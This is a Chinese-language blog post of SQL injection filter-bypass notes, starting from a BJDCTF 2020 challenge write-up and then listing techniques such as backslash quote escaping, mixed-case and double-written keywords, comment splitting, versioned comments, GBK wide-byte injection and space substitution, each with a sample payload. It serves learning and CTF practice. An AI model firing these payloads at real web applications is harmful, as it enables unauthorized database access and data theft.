sql绕过技巧

绕过技巧

单引号绕过

通常来说,在进行字符型的SQL注入时,都需要先将前面的引号等(以单引号为例)进行闭合才能执行我们构造的SQL语句,那么如果单引号被过滤了,是否还能够成功的SQL注入呢?
答案当然可以,如果是这个句子,让我们看看

select user from user where user='$_POST[username]' and password='$_POST[password]';

[BJDCTF 2020]简单注入


题目环境我已经找不到了,这是直接看别人的wp的

扫描了目录后hint.txt给出了登录的sql
select * from users where username='$_POST["username"]' and password='$_POST["password"]';

稍微fuzz一下可以发现过滤了'、"、=、-、and、select等关键词,其中关键就是这个单引号,由hint已知这里是需要单引号进行闭合的,而单引号又被过滤了。

我们的目标就是一定要把这些单引号闭合,注释符#和反斜杠\并没有被过滤,最后一个引号就不是问题
然后我们传参可以这么传:username=admin\&password=123456#
注意,参数不会被转义,只有执行的语句才会被转义
这样我们第二个单引号也无了,哈哈哈哈
select * from users where username='admin\' and password=' or 2>1#';
最后给他来一手这个,or就解决了
还有这两种方法,没试过,不知道是真是假

大小写绕过

$file_ext = strtolower($file_ext)
其实就是这么一句代码的漏洞,这句代码是把我们的输入全部改为小写再进行检测,如果吗,没有这句代码,他的黑名单一般来说不会防大写,但是我们的sql代码对大小写是不敏感的,就可以完成大小写绕过
?id=1+UnIoN+SeLecT+1,2,3--

替换绕过

?id=1+UNunionION+SEselectLECT+1,2,3--
看代码就懂了,替换绕过主要是看replace()这个函数,一般来说会置换为空,这个时候替换绕过就很好用了

注释绕过

?id=1+un/**/ion+se/**/lect+1,2,3--
也很好理解,黑名单检测过滤union和select,我们用注释,注释不会被解析,但你waf是检测不到union和select

特殊嵌入绕过

?id=1/*!UnIoN*/SeLecT+1,2,3--
这个/**/注释中加一个!号就可以正常执行

宽字节注入

SQL注入中的宽字节国内最常使用的gbk编码,这种方式主要是绕过addslashes等对特殊字符进行转移的绕过。反斜杠()的十六进制为%5c,在你输入%bf%27时,函数遇到单引号自动转移加入,此时变为%bf%5c%27,%bf%5c在gbk中变为一个宽字符“縗”。%bf那个位置可以是%81-%fe中间的任何字符。不止在sql注入中,宽字符注入在很多地方都可以应用。

绕空格

特殊字符绕过空格

image

括号绕空格

image

Example:
UNION(SELECT(column)FROM(table)

注释号引号绕空格

SELECT DISTINCT(db) FROM mysql.db WHERE Host='localhost' and/**/1=1;
SELECT DISTINCT(db) FROM mysql.db WHERE Host='localhost' and"1=1";

还有http参数污染的问题,就不讨论了

posted @ 2023-03-30 14:50  Dr0se  阅读(220)  评论(0)    收藏  举报